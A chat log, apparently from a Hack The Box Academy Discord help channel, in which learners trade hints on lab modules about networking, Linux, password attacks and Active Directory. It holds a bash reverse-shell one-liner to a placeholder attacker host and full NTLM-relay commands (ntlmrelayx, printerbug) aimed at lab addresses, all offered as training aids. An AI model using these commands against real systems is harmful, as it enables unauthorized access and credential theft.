modules

[novel parrot]

and is php -S 0.0.0.0 the same?

[gaunt venture]

man, i just joined the server and it says i ain't allowed to message anywhere

[fathom pendant]

yes

[steep forum]

#welcome #rules

[fathom pendant]

and i'm TELLING YOU how to gain access to more of the server

[gaunt venture]

my bad, thanks for telling though

[novel parrot]

Alr Ty marcielee

So php server and nc are the same thing

And they are both on device with no change to the outside

[fathom pendant]

well php server spins up a php web server that would serve an index.php that does whatever you need to configure it to do

[iron sigil]

Can you please help me. Thank you for your advice.

[novel parrot]

Last question marcielee

What ip do I use with netcat?

the one top left or my ipconfig tun0

[atomic ridge]

Hey guys, I’m stuck on the password attack module, the section on credential hunting

I just can’t find the password the the AD admin

[fathom pendant]

when interacting with the private ips; tun0

[novel parrot]

Private ips u mean…?

[fathom pendant]

my friend

learn basic networking

for the love of god

[novel parrot]

Sorry

[steep forum]

||Try spidering for a term in the question using nxc.||

[steep forum]

Try the introduction to networking module on HTB Academy.

[novel parrot]

Ok so for private ips I use tun0

For public ones?

[fathom pendant]

do the networking fundamentals modules

[atomic ridge]

I’ve spidered admin, domain and password

[fathom pendant]

for public ones you don't use anything

[novel parrot]

So that’s not on scope

[fathom pendant]

because they WON'T BE ABLE TO REACH YOU

[vapid maple]

Massive thank you to Doliec!

[novel parrot]

Sorry marcielee

[steep forum]

||You're so close. Keep trying, use exact terms.||

[novel parrot]

I appreciate you explaining this to me

[fathom pendant]

HTB has it set up to where the containers have very little internet access

[novel parrot]

I’m sorry if I’m costing you therapy

[fathom pendant]

you owe me $20

[novel parrot]

I understand now

Thank u

[novel parrot]

Memecoins or discord nitro u choose

[fathom pendant]

seadriscoins only ty

[twilit cape]

guys i tried everything can anyone help me

[steep forum]

The answer isn't just cable... I don't really think I can help without just giving the answer away. Try rereading the section.

[fathom pendant]

you literally had the answer in #general; i told you to drop the word cables as in don't use that in the answer

it is expecting the hyphenated word

if not it's expecting the singular form of the word

[twilit cape]

it say incorect

[fathom pendant]

it's been a minute but it's one of those two

f-o c

to not give away answers

[twilit cape]

iknow fiber optic cable but is say incorect

[fathom pendant]

the hyphenation is important

[twilit cape]

i tried everythink

fiber-optic cables

[steep forum]

Did you just try f o? Also that's a spoiler.

[fathom pendant]

f-o

[twilit cape]

yep

[fathom pendant]

did you try the singular c with it

[twilit cape]

yep

[fathom pendant]

what's the section name?

ik it's the introduction to networking module

but i don't feel like clicking through all the sections to find the page

[twilit cape]

network foundation

[fathom pendant]

try capitalizing the f

that doesn't answer the section name

that's the module name

you had it right the first time then edited it for some reason

[twilit cape]

Components of a Network

[fathom pendant]

looking at the answer i input: it's just "f-o" make sure you don't have any extra spaces in it

[twilit cape]

also tried sir

[fathom pendant]

don't call me sir

[steep forum]

I just checked, it's F-o.

[cloud urchin]

try pressing CTRL+SHIFT+R and then entering the answer again

[fathom pendant]

it's case insensitive

[twilit cape]

sry

[fathom pendant]

i think when it first came out there was some weird case sensitivity issues

but do as Super said; refresh the page and try putting the answer in again

[steep forum]

Thanks for the clarification.

[twilit cape]

Thank you guys for helping

[twilit cape]

it tried to be respectful

[fathom pendant]

I just don't care for honorifics

[signal lava]

When connecting to instance with my one machine through the OpenVPN file, the windows machine crashed 2 times. When I want to "click here to spawn the target system!", I got an error message explaining the VM cannot be started.

Other facing same issue ?

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[twilit cape]

ok

[steep forum]

||Are you running printerbug on the DC, and ntlmrelay on the CA?||

[tall imp]

thanks for answering, you could be more specific, why don't I understand you , both commands run them on my parrot machine, the attacking machine

[fathom pendant]

@tall imp please be mindful of sharing passwords in your post. As it's a spoiler still. If you need more direct help and 0day is willing to take to dms do that

[tiny frigate]

Not clear if you got it by now, but that one had me going for a while, too

https://discord.com/channels/473760315293696010/1340060493259341927

"hyphenated, singular, American spelling, no cable"

[glacial remnant]

alright have gotten through most of the final assessment for the password attacks module. have no idea if i got it as expected but im at least on the jump host and found an admin users creds. ive tried a few things (wont spoil by going through it all) but feel like im hitting a road block. anyone around for a DM hint?

[subtle wadi]

Just a question, is the Penetration Tester path recommended for someone who doesn't know anything about programming?

[steep forum]

You don't have to know programming to start the Penetration Tester path. Programming can be a useful skill for quick scripting, but it is definitely not neccesary to get started. There isn't much programming anyway in the path.

[subtle wadi]

But isn't it necessary to have a good programming background to start in the Red Team?

[steep forum]

Red teaming and penetration testing are different. Yes, red teaming may require more programming skills to develop custom exploits.

[sullen wind]

so im back on linux fundamentals and one of the questions is "What is the inode number of the "shadow.bak" file in the "/var/backups" directory?"

in my terminal it shows

-rw------- 1 root shadow 1362 Sep 23 2020 shadow.bak

is the inode number not 1362?

[fathom pendant]

no; that's it's size

there is an option with ls that lists the index number (inode) of a file

[sullen wind]

ls -li, right?

[fathom pendant]

ye

[sullen wind]

T_T now its working

wasnt bringing up anything before

[stoic hound]

is there anyway to get more then one instance a day with a free acc im not old enought for a job and my parents think all hackers are bad so they wont get it for me

[cloud urchin]

sometimes they give codes away that give you vip+ for a month or something in #giveaways if you keep your eye on it and enter

make sure to read the #rules and follow the instructions in #welcome to gain access to that and other channels

[proud pine]

How old are you?

[junior fjord]

Hey is there something or someone from whom I get the answers in DM, in the case of stuck for long time..... ?

[silent ivy]

No one is going to tell you the answer per se, but if you ask someone they might help point you in the right direction

[cloud urchin]

You can ask here, as long as you don't reveal contents of the module that are above tier 0. Otherwise just ask your question, say the module and section, and if you feel the need to take it to DM's you can ask. Keep in mind anyone who has done them before knows exactly what to do and doesn't really need you to reveal much info.

[junior fjord]

Ok

[stoic hound]

pls tell me theres no age requierment im 16

[novel parrot]

theres an age requierment

[stoic hound]

just checked the rules there's people who are 13 here it says it in in the nsfw rule im allowed to be here

[novel parrot]

yeah so like heres the thing right

@proud pine i think this is a issue for a mod to handle

sorry for the ping btw i was told to do that when someone broke ruels

[proud pine]

This is for staff to handle.

[novel parrot]

oh alr

sorry rat for the ping

[lunar totem]

Can anyone kindly give me hint for Injection Attacks - Skill Assessment?
I got the internal server IP but I am not sure which port to look for. I tried with common ports, but it does not show any output on the PDF file.

[clear seal]

Anyone else found AD attacks skills assessments 1 and 2 challenging? I’m finally almost done with the 2nd skill assessment. Got 4 left to answer. Kinda stuck though…hopefully my brain clicks tomorrow and I can finish. I’m stopping for the night though

[sullen wind]

am i allowed to ask a question about a fundamental module's question/answer here?

[cloud urchin]

You can ask questions here as long as it doesn't spoil content from modules that are above tier 0 or from a skill assessment, and as long as you don't reveal the answer or how to get the answer.

[sullen wind]

ill try to be as vague as possible, basically when writing out my find command, it brings up a wall of files but if i added 2>/dev/null to the end of the same find command it brought up the one file i was looking for

[cloud urchin]

that would be the expected behavior

if you don't pipe the command to 2>/dev/null it will display all the results in stdout, including permission denied errors or other errors. the 2>/dev/null part supresses the errors and only shows the real matches

[gloomy geyser]

LLM Output Skills assessment is difficult for me. Any clue that I should be looking for as the admin_key reply from the LLM chat is not real and not able to do injection here. I could be wrong

[sullen wind]

thank you, didnt know the last part was needed

[cloud urchin]

to be clear, it's not 'needed'.. your match will still be in that mess of errors, but yeah it sure makes it a heck of a lot easier

[sullen wind]

yeah, i had to do some googling to find it but it just confused me, i dont think i saw anything about that in the module so far.

[cloud urchin]

I'm sure it'll pop up somewhere, it's a very common thing to do

[topaz ruin]

on the mysql footprinting module does anyone know how to fix

Plugin caching_sha2_password could not be loaded: /usr/lib64/mysql/plugin/caching_sha2_password.so: cannot open shared object file: No such file or directory

i was doing mariadb -u robin -p{omitted} -h <the IP>
got the self-signed certificate in certificate chain error, then moved to

mariadb -u robin -p{omitted} -h <the IP> --ssl-verify-server-cert=FALSE

and get the above plugin error (--skip_ssl does the same)

ive found a few sites online with how to fix it, but theyre all on the server side (or claim that doing -u <username> -p should automatically lower it to native_auth, which is not working even if i dont specify the password upfront)

(and yes it says mariadb instead of mysql but my system just warns me about typing mysql being deprecated and seems to be a symlink to mariadb anyway)

client version is mariadb from 11.8.2-MariaDB, client 15.2

[steep forum]

Question about the Kerberos double hop section in the Active Directory module. Does this issue apply when using WinRM with password authentication, or only with Kerberos authentication. I would assume only when using Kerberos authentication right?

[cloud urchin]

yes, the kerberos double hop problem only arises when using kerberos authentication. it's because the tickets issued by the kdc are for a specific service on a specific host.

[steep forum]

Thanks! Yeah, just thought I'd make sure.

[fathom pendant]

Try using mysql instead of mariadb to log in

[topaz ruin]

like i said, my system just aliases them:

mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead

> ls -alh /usr/bin/mysql                                                                  
lrwxrwxrwx 1 root root 7 Jun  5 10:11 /usr/bin/mysql -> mariadb

[fathom pendant]

Try using impacket-mysqlclient maybe?

Curious why it's being deprecated and what system you're using.

You can try sudo apt install mariadb --reinstall --fix-broken

If you're on a Debian/ubuntu

[tall imp]

sorry, you could help me privately, it is that this part is costing me a lot, I only have doubts, and it gives me many failures, I only have the last question left, I already got the flag.txt of the pinkman user now I have to climb privileges to administrator

[topaz ruin]

opensuse tumbleweed
i really should just wipe the partition and switch to kali or smth, it was just inertia and being slightly tired of debian-based distros lol

i seem to have fixed it by installing some combination of mariadb-connector-odbc, mariadb-tools and libmariadb_plugins

ive mostly gotten around stuff by building everything myself because nothing is in the package repo lol

[fathom pendant]

@tall imp please do not include passwords in your request for help

as that would be a form of a spoiler

[tall imp]

but I have not said any password, you have deleted my questions, for no reason, I have not mentioned any password at all.

[dark spade]

How to hack people to destroy their computer??

[fathom pendant]

yes it does contain a password domain/user:password

[fathom pendant]

we don't do destructive hacking here see #rules and #welcome

destructive hacking is illegal

[tall imp]

I am in password attack and specifically in Pass the Certificate
well, can someone help me, solve the question: What are the contents of flag.txt on Administrator's desktop? I don't want them to tell me any password or anything, I just want them to help me find the logic to get in as administrator, in principle I think the tools needed are: printerbug.py, ntlmrelayx ...

can someone help me privately please?

[outer ruin]

Can someone help me with the server-side attack module? I am in the 'exploiting SSTI - twig' section and the given code in the part where LFI in explained doesn't work (the server doesn't return any text). I also tried changing the directory, obfuscation and multiple payloads from PayloadsAllTheThings.

[autumn pilot]

You are correct, combine the mentioned tools, before that do some information about what certificates are present on the target

[thin citrus]

Can someone help me with "Advanced Deserialization Attacks - Example 2: XML" I got the payload but needs to combine it with this type string and our payload, with dnSpy attached, we get an error because GetType returned null from section "Exploiting TeeTrove". Tried many variations and it will not hit the 'catch (Exception exception2)' to review the error.

[surreal totem]

In the ADCS module has someone else issues connecting to the ssh attack boxed (ESC5, ESC8, ESC11). I always get Too many authentication failures for this command ssh htb-student@10.129.205.205. I dont even have the chance to enter a password.

[autumn pilot]

well, you gain knowledge by complete the path

[full wagon]

Is anyone a hacker..

[autumn pilot]

apart from that I don't know

[fathom pendant]

at the moment there's no certification, it's safeto assume there will be one in the future, and with it there will be a dedicated channel for it like the other HTB certs

it's still a work in progress

they're still adding modules to the path

this is in collaboration with Google

in the future as well: don't dm people without asking

it's different subject matter

CBBH focuses more on the web end of things, CPTS focuses more on AD

[full wagon]

Hello

Is anyone a hacker in this server?

Or can teach me how to?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom pendant]

i also suggest reading #welcome and #rules

[storm elk]

When you're given an attack host in the AD enum & attack module - is there any way to get a bigger resolution for the linux one? xfreerdp with /dynamic-resolution doesn't work

the windows one works fine for me, but the linux one is still small 😦

even when I maximize the screen, the desktop will remain small

[vital epoch]

Can somebody help me with the Skill Assessment from Intro to Assembly language module, Task 1 and 2? I've been stuck for a while there i just wanna complete the SOC Prereq path, im at 99.42% complete. Please somebody PM me

[fervent ether]

Is anyone elses Targets really flaky atm?

Connection keeps dropping

[fathom pendant]

no

[storm elk]

https://tenor.com/view/kylie-kylie-jenner-jenner-kardashian-kardashians-gif-15211307054878586001

[fathom pendant]

change vpn region

[full wagon]

Yo, does anyone know how to hack?

[storm elk]

no @full wagon

[fathom pendant]

i don't think there's native scaling

[fervent ether]

seems to be working now but must have had a funny 5 mins

ty tho

[fathom pendant]

i answered your question earlier

[full wagon]

Did u?

[storm elk]

@full wagon - this is not a place for illegal requests, if that's all you want, just leave already

[fathom pendant]

yes i linked to an article

very few people are willing to just teach people for free

chill

[storm elk]

Step 1 if you wanna learn to hack. Read the #rules

[fathom pendant]

you need to be able to put in the work to do the research yourself

[full wagon]

Alr

[storm elk]

ok bye now

[fathom pendant]

#rules and #welcome tell you about the server

[full wagon]

Bye

Alr thanks.

[fathom pendant]

this channel is for the HTB academy learning modules found at https://academy.hackthebox.com

[storm elk]

he's gone

[fathom pendant]

LMAO

[storm elk]

showed him the door

[stoic hound]

if you want someone to teach you it costs money or you can manipulate someone good at pin testing to become your friend "" and have him teach you

nvm hes gone

[fathom pendant]

ah caught up

[fathom pendant]

you don't manipulate people into being friends, that's how you get dropped off the face of the earth

anyway

[stoic hound]

not realy manipulate its more of a u want what he has

[fathom pendant]

https://tenor.com/view/our-regular-programming-has-resumed-hunter-engel-agufish-back-to-our-regularly-scheduled-program-back-to-normal-gif-14307957518360577042

[storm elk]

I hope to be done with this SA 2

then only thing left is AEN

[fathom pendant]

we're dropping the conversation

[stoic hound]

[stoic hound]

you should give me an osint challenge 🙏

[fathom pendant]

check out the main lab site for challenges

that's also not relevant to this channel :)

[stoic hound]

😭 ok

[craggy edge]

I think I remember the issue.. could it be that you are at the skill assessment? I don't remember exactly where I encountered it.
But if I remember correctly, my solution was to set the resolution manually, vecauseu /dynamic-resolution did not work

[storm elk]

ahh let me try this 🙂

omg yes

hero!

[craggy edge]

nice

[storm elk]

@fathom pendant -- the /size parameter works 😮 🥳

[fathom pendant]

good to know

[tall imp]

I'm in the password attack module / pass the certificate and I want to advise the administrator flag.txt ok ?:

for this the 2 tools to use is.

ntlmrelayx.py correct?

and then:
printerbug.py correct?

specifically following this syntax ?, would it be done like this ?:
python3 ntlmrelayx.py -t http://<IP_O_HOST_CA>/certsrv/certfnsh.asp --adcs --template KerberosAuth --http-port 80 --smb2support

[haughty phoenix]

I am doing the linux fundamentals and I am trying to connect to my target system but after a minute of being connected I keep getting kicked off with this message: client_loop: send disconnect: Connection reset

[steep forum]

||You need to search for a slightly irregularly named keytab file. You can get its location by listing cronjobs.||

That's a spoiler, and that gives you all the information you need.

Good luck!

[junior fjord]

Hey there are some optional modules, after completing compulsory exercise, what is we ignore the and move on by simply typing DONE ?

I mean to say that, is it show harsh effect in exam ? Like it's a big deal or not ?

[steep forum]

It's up to you. It's recommended for practice, but if you feel comfortable, you don't have to do them.

[junior fjord]

Ya, but what if it came in exam, these optional exercises are really difficult as compared to others it's takes time for me 🥺

[steep forum]

^^

||It's in the same path as the file in the cronjob. That's probably this best hint I can give.||

[full moat]

See the discord message above too

*messages

[autumn pilot]

@full moat please do not cross post in multiple channels, if you want to showcase your tool feel free to verify ( #welcome ) and use #resources-tools or #community-content

[simple goblet]

Hi anyone done with the API Attacks module i have qs about the Broken Authentication section

[opal shuttle]

hii i am doing module number 2 GETTING started of cpts...there they show us how to fuzz nibblelog..but when i try to fuzz that ip ..i dont get any results...because of that i am not able to move forward..

in which module

i havent reached there yet

flag.txt should be the flag lol

even i am getting issue regarding fuzzing

i am not getting the results as they shown inthe module

[nova berry]

can someone help me in clock ckew error in fluffy box

[woven jetty]

Hello Everyone, I was doing the Bash Scripting Module of HTB and in the Flow Control -Loop section I am unable to get the Answer of the Given Question. Can any one help

[fathom pendant]

#boxes

flags may not always be HTB{}

or is it

:P

ignore the first couble characters

that's likely bad encoding because windows->Linux

sigh sure

[opal shuttle]

hii i am doing module number 2 GETTING started of cpts...there they show us how to fuzz nibblelog..but when i try to fuzz that ip ..i dont get any results...because of that i am not able to move forward..

[fathom pendant]

you should be fuzzing the ip of the spawned target, not of the example IP

they are often not the same

[drowsy jasper]

I am unable to Access OpenVAS Module on Port 8080 – Stuck and Need Help
I'm currently working on the OpenVAS module, but I’ve hit a roadblock and would really appreciate your assistance.
I have successfully connected to the openvpn. The target ip is also responding to my ping requests..
I’ve successfully connected to the target machine via SSH using the provided credentials, and I confirmed that the machine is reachable. However, I’m unable to access the OpenVAS web interface via https://<ip>:8080. The page just keeps loading and eventually times out.
In the module it's mentioned clearly that we have to do it.. but the page keeps loading... Pls. Help what to do?? Where is it I am doing weong

This is the module that I am referring to

[opal shuttle]

I replaced the ip

[drowsy jasper]

This is the module page

[fathom pendant]

and you're conencted to the vpn and spawned the target ip?

[drowsy jasper]

Yes

[fathom pendant]

and visited https://ip:8080 ? sometimes it takes a minute to fully load in

[drowsy jasper]

Yess I did almost 10 times. Waited too long but nothing came.. just loading and loading ..can't reach this page

[digital pendant]

Anyone tried out the new password attacks structure yet? I'm just doing the pass the cert page as they added that in since I last checked.

dumping the NTLM hash of the admin user after going through each command line by line does not appear to give any output back apart from ... wondering if anyone has hit the same?

and I followed the commands exactly as written, didnt deviate.

strangely I get the b64 value of the cert rather than the cert being written to file as the module is written suggests:

I can convert with openssl to pfx easily but given this is a deviation it might also be why im failing to achieve the expected outcome... any thoughts?

Nvm looks intentional

[forest tendon]

@fathom pendant Hello I need some help, So i'm doing the Introductio to windows cli module, and i've come accross basics to Active directory, should i continue the module or switch to active directory module?

[storm elk]

@forest tendon please don't tag people just out of the blue

just ask your qiuestion and be patient

someone will respond, no need to tag marcie for every question

[waxen totem]

I'd recommend keeping with the cli module cos in the AD module you'll need to know windows cli

[digital pendant]

any reason why impacket would provide a base64 value of the certificate for DC01 instead of writing it to a file? or is that nothing to worry about? I could convert with openssl as mentioned above but I don't seem to get the TGT later on so I'm concerned this is actually breaking the logic

[storm elk]

I had the same thing - worked for me to convert it with openssl

[digital pendant]

Thanks Sparkling! I shall troubleshoot on then 😄

[forest tendon]

Thank you !

I'm looking for powershell and cmd practice learned from the windows cli module, although i dont know where to look for such machines

[tall imp]

Hi, I’m doing the “Pass the Certificate” section of the Password Attacks module on HTB Academy.

I’m trying to trigger NTLM authentication using printerbug.py to my ntlmrelayx server on port 8080 (since 80 was in use). The relay server starts fine:

bash
Copiar
Editar
impacket-ntlmrelayx -t http://10.129.21.133/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication --http-port 8080
Then I run:

bash
Copiar
Editar
sudo python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:""@10.129.21.133 10.10.14.81:8080
But I get:

csharp
Copiar
Editar
[*] Host is offline. Skipping!
I’m using the lab VPN, target IP is 10.129.21.133, my IP is 10.10.14.81.

SMB port (445) is sometimes reachable, sometimes not.

Not sure if the Print Spooler (RPRN) is disabled.

Has anyone had this issue in this lab? Is there a better trigger than printerbug?

Thanks!

[waxen totem]

=~ looks wrong... look up how to check for a substring in bash

-# scratch that just realized that's a regex

[prisma wing]

Hi all, are there issues with pwnbox and targets? I'm on Attacking Enterprise Networks, which has been working fine until now. I keep getting connection timed out when ssh to target. Reset twice to no avail

[eager hare]

https://unix.stackexchange.com/questions/119493/whats-the-difference-between-and
check this

I think the problem is somewhere else.
I just tried to run with "$var" == "value", and the result is still the same.

[long igloo]

I have a little question about the password attack module. Exactly the creating custom wordlists part.

I get we should get used with how rules are created/applied but, why it doesn't talk at all about CuPP took, but the bruteforce module does? I had to stop that part of the module since I wasn't able to find it, but once I found this tool, i was able to do it.

[waxen totem]

what's the output of your script look like?

[long igloo]

I would understand if it wasn't introduced in any module, but it would've been really useful if I got used to it on 7th module instead of deep into the path

[vernal tapir]

I agree, I thought CuPP would've been taught in the new module but they completely skipped that. I ended up struggling on this lesson but ended exhausting my wordlist with anything and everything, finally got it. I disliked that lesson the most

They previously taught cupp before it was updated which I didn't understand at all

[long igloo]

For real, the rest of the Password Attack module is fine for me, but that fkn Mark's password question had me stopping studying for like 3 days, got stuck into it so long.

[waxen totem]

Oh~~~

[vernal tapir]

That's base64..

Decode it

[waxen totem]

@eager hare
remove the -n on the output line 😉

[severe inlet]

Password Attacks on the Network hunting section

Is this question broken? i was able to get like 6 passwords but all of them are wrong

One of the shares mendres has access to contains valid credentials of another domain user. What is their password?

[waxen totem]

No for this particular section the output is supposed to be base64

[grand timber]

Hello, Im on the Crud API exercise in the Cracking into the box module and I think its broke.

Ive looked up the ip multi-ple times and am met with a blank screen

[eager hare]

Thank you very much

[waxen totem]

reason being is that they want you to technically include the newline character at the end there which does contribute to the character count, you can see this in their hint.

[flint palm]

guys hello how did you do cronjob abuse section in linux priv escalation?

[vernal tapir]

What lesson are u on ghost

[flint palm]

I modified backup.sh file and started nc on my kali but nothing happens

cronjob abuse

[vernal tapir]

So you found the backup.sh good

[flint palm]

I modified it even already using vim

[vernal tapir]

Now you need to attack the script, add a one-liner reverse shell to it that forwards to your kali

Then use your listener, pickup the shell. Boom root access.

If you get stuck more just dm me I can help

[flint palm]

ahh ah I understood I did a little mistake

one moment will try to fix it

[vernal tapir]

bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1 Here is the payload I used if that helps

[flint palm]

yeah yeah

[vernal tapir]

yh yh, goodluck 👍

[carmine rock]

hello, i can't connect to any practical exercices at the end of a module since aprox 30 minutes do you know if there is any problem with htb?

[flint palm]

have you downloaded vpn file?

[vernal tapir]

I'm trying to use Kerbrute for Attacking Active Directory and NTDS.dit and have terminated/reset my target twice. Does anyone know why this error might pop up? Am I supposed to find the proper port?

[safe star]

Is the domain name correct?

[vernal tapir]

I found it, I'm gonna put that in erratum

It wanted "ILF.local" instead of "inlanefreight.local" but the lesson shows "inlanefreight", only reason I found it was Netexec giving me the proper domain

Unless it's intentionally showing that? I didn't see that. I lost a bit of time figuring that out

[drowsy jasper]

I am doing the vulnerability assessment module wherein in the nessus and openVas skills assessment.. whenever I go to the https://<ip>:8834 for nessus.. The page doesn't load.. it shows connection HAS TIMED OUT... I am connected to the VPN. I have tried both on my personal Kali Linux machine as well as On the Instance, but none of them worked.. Can anyone please help why is it not opening the remote machine??it's clearly mentioned in the walkthrough that I have to go to that https://ip:port to get the connection with machine... Pls.. helpp

On both my personal ma home as well as on the Instance, I was connected to the VPN

[glacial minnow]

it's because firefox has issues with URLs that contain IPs, you can either try chrome or add it to ur /etc/hosts ``` echo
"IP vastest.com" >> etc/hosts and browse to http://vastest.com:PORT

[hidden furnace]

Need help on SQLMAP Essentials Module, Bypassing Web Application Protections Section. Could not solve case 8, 10, 11.

[glacial minnow]

most of them can be solved with either a single tamper script or 2-3 try between

or a combination of between + something else

try to find out what sqlmap is doing that maybe getting detected and look for a script that bypasses that

[hidden furnace]

alright will check out, thank you 😭

[fierce sable]

I am stuck at the Password Attack:Credential Hunting in Network Shares. I execute the PowerHuntShares but I couldnot find any password for another domain user and administrator. Could you please help me with that

[drowsy jasper]

I have mapped it to vastest.com and checked it too(pic attached).. but then also when I visit the browser and search it, it just buffers and end up to connection has TIMED out.. I tried on Edge, Chrome, Firefox ..

@glacial minnow

I even tried ping vastest.com
It's working fine.. I am recieving packets

[cyan coral]

i got the same issue

[glacial minnow]

are u connected to the vpn?

[glacial minnow]

?

[drowsy jasper]

Yes

[glacial minnow]

btw u should browse http not https

[drowsy jasper]

I am connected

I have tried both http as well as https

Why is it not opening🥲🥲.. I have been trying since yesterday

I tried finding vulnerabilities on the target using openVas on my Local computer.. but it's not giving proper results

[naive cedar]

ưhoai

[junior fjord]

Hey stuck in skill assessment of password attack module

Even I don't want to gain initial foothold........ Just give a hint

It's just show SSH is open i have username and password but it's not working

[naive cedar]

send where u stuck

[drowsy jasper]

Can anyone solve my problem? 😿

[junior fjord]

In DM ?

[safe phoenix]

a little stuck on the password attack skill assessment… I’m currently trying to ||spider on FILE01 with nxc using proxychains,|| but I’m getting the feeling I’m missing something. I’m still only ||connected to JUMP01 as hw******|| but haven’t found creds for any other users

[cyan coral]

DM

[junior fjord]

It just show SSH is open and also have some creds but don't able to find right combination of user:pass

@safe phoenix hey brother i am also doing same how you get into foothold ? Like first Machine ?

[safe phoenix]

Refer back to the section about generating possible usernames list based on what you know from the assessment prompt

[junior fjord]

But what about character ? Like how do you know how many characters ? I guess 12 ?

[safe phoenix]

The section talks about a tool that takes a persons name as an argument. Try that approach

[junior fjord]

The tool name starts with ce__ ??

[safe phoenix]

No, us******-an*******

[junior fjord]

Found bro thanks 🙏

[south marten]

hello, im in Information Gathering - Web Edition , subdomain bruteforcing , and im using dnsenum, i only found ns1,ns2 subdomains, and nothing else

[safe phoenix]

Okay good 👍

[junior fjord]

Have you found something

Till now ?

[sick depot]

Can anyone help with the 5th question on the pillaging section of windows privilege escalation cant seem to be able to move the sam and system off

Restore the directory containing the files needed to obtain the password hashes for local users. Submit the Administrator hash as the answer.

[safe phoenix]

Still stuck 😵‍💫

[pliant patio]

i was also stuck with this. haven't found time to try again yet cause of work. someone said to use ||snaffler||. i did try those and encounter some errors.

[vernal tapir]

dm

[south marten]

hello,someone can help me with information gathering

[junior fjord]

I found something in the home dir in bash history file of the user jb....

But don't know where to use that creds 🥺

[thin citrus]

I tried the tree ysoserial approach but get never a reverse shell

Does someone hava the same issue

[pliant patio]

you can use those for the 2 host listed on the skill assessment page. you need to use proxychains though

[zealous spire]

hey guys,
I am a complete beginner and dont know how to start
I watched youtube videos but couldnt find right one

[young gale]

What are the contents of flag.txt on jpinkman's desktop?
https://academy.hackthebox.com/module/147/section/1335

need help

[south marten]

pls :((((

[junior fjord]

Hey please help me also :- how I move forward after gaining access to DMZ01

Password attacks - skill assessment !

Not getting anything

[south marten]

why not one of this subdomains are the correct answer

[tall imp]

write PM please

[junior fjord]

PM ?

Means ?

[tall imp]

DM please

[long igloo]

I would recommend you to run:

ffuf -w /path/to/wordlist.txt -u http://target/ -h "Host: FUZZ.target.com"

Also, I'd recommend you using the seclists /Discovery/DNS/subdomains-top1million-xxx.txt lists, you can install them with

sudo apt install seclists

if you don't have them already.

After that, you should be getting the other subdomain you're not getting.

[minor hinge]

I am stuck at pcap Skill Assessment in Password Attacks. Anyone here for nudge?

[long igloo]

I didn't finish that yet, but I could try to help you if you want :P Dm me

[brave scroll]

Stucked at "Password Attacks - Skill Assessment" while revision of modules, have done this before when there was 3 levels in Lab.

have explore all files, check bash_history but the Credentials that i got was not usable.. + run Lazagne + MimiPenguin as well. but still have not find any way to move from
File 01 : 172.16.119.10

[tall imp]

I'm going crazy, someone has made this module, please write to me privately, because I really need help, I've been trying to solve this for 4 days and it just makes me mistake: https://academy.hackthebox.com/module/147/section/1335

[storm elk]

Might wanna share the name and section name

Not just the link

[brave scroll]

Same the changes that was made on modules is good but making people crazy

i have leave that part.

[tall imp]

need help please. Password Attacks -- Pass the Certificate

I'm going crazy,

[brave scroll]

if u find the solution, let me know as well.

[storm elk]

What’s the problem?

@tall imp you can dm me 🙂

@brave scroll if you’re stuck on the same section, you can too

[brave scroll]

Making screenshot.

[shadow latch]

ey guys, i want to check a thing: its normal that in new password skills assessment i cant reach the 2 other hosts, and only i can reach the domain controller?

i dont know if its part of the lab or im having problems with the lab

[safe phoenix]

Those machines are only reachable from inside their local network… have to find a way to get at them from the first machine

[high lynx]

Hi I am learning a windows module facing some issues. Currently I am on a windows os using openvpn. So with rdp i can access the machine but when I am pinging the ip from cmd it says ip can't be reached. Has anyone faced this issue?

Need some help

[pallid geyser]

hi guys, im stuck on web proxies when they ask me :

Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag.

im like fuzziung with a lot of txt and nothing, i use common.txt from seclist, i use top 1 million and nthing. I found index.html blank page. Any tip, but dont tell me the solution 🙂

[random crane]

Try a stealth ping if that doesn’t work might want to send fragmented packets. Try sending smaller packets and wait for the host to respond to see what the TTL is doing.

[tulip heart]

for the password attacks module, final assessment. i have ssh to the first machine (dmz01) but from that session i cannot reach any internal machine, can't ping, can't netcat, can't scan.

I have reset my lab multiple times, can someone let me know if this is a system error vs an issue i am supposed to solve? pulling my hair out.

[minor hinge]

With telnet you can also try to see if for example RDP is open. Then think about how you can reach it

[high lynx]

Tried still getting "request timed out"

But it's working fine on rdp

[eternal meadow]

Hey , I need help. I am stuck with the password attack module , where we have to find the password of mark white by generating custom word list. I have been trying with cewl but I am getting 0 words of 12 length from there. Also with custom rules I am getting invalid rules error. Can anyone guide me a little bit

[minor hinge]

Google abit about combinatory attack in hashcat 🙂

[eternal meadow]

Ok thanks will try it. Can you help me with a little more hint

[velvet pawn]

Hi all, I am working on the skill assessment for LLM Output Attacks, and have been stuck on it for a while. Anyone that has done it that I could bounce some ideas?

[high lynx]

Disabled the firewall in the pwnbox now it's working 🥲

[velvet pawn]

anyone that could give me a nudge on skill assessment for LLM Output Attacks?

[south marten]

i just finish all the module and follow stucked in this section

[fathom pendant]

Use https in your enumeration

It's a publicly routed domain

[pallid geyser]

hi guys, im stuck on web proxies when they ask me :

Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag.

im like fuzziung with a lot of txt and nothing, i use common.txt from seclist, i use top 1 million and nthing. I found index.html blank page. Any tip, but dont tell me the solution 🙂

[fathom pendant]

And you're fuzzing for §filename§.html?

So the endpoint is /admin/§filename§.html

[safe star]

I’ve done some of the beginning if you’re on that part

[pallid geyser]

omg i was fuzzing without the .thml i thought the intruder woudl get that ty guys

[fathom pendant]

Nope intruder only does what you tell it to

[velvet pawn]

sending you a dm

[velvet pawn]

and yes, I am at the start of the skill assessment. I assume I have to get what is exposed to disclose information, but have not been able to get anything of value from it.

[minor hinge]

Anyone here who got past Password Attack PCAP part Skill Assessment and is available for a nudge?

[vague venture]

Hm

[fathom pendant]

The tool mentioned may work: I ended up using Wireshark and searching through protocols that may send info through plaintext

[minor hinge]

ok good to know 🙂, thanks!

[dusky blaze]

Anyone can be my friend?

[fathom pendant]

This isn't #general you've been told several times how to gain access to more of the server by following instructions in #welcome

[vague venture]

Oh my name was breaking the rulesm.

Wow

Changing a name

When you can do @ the_whisperer2..

[novel parrot]

hey MarcieLee

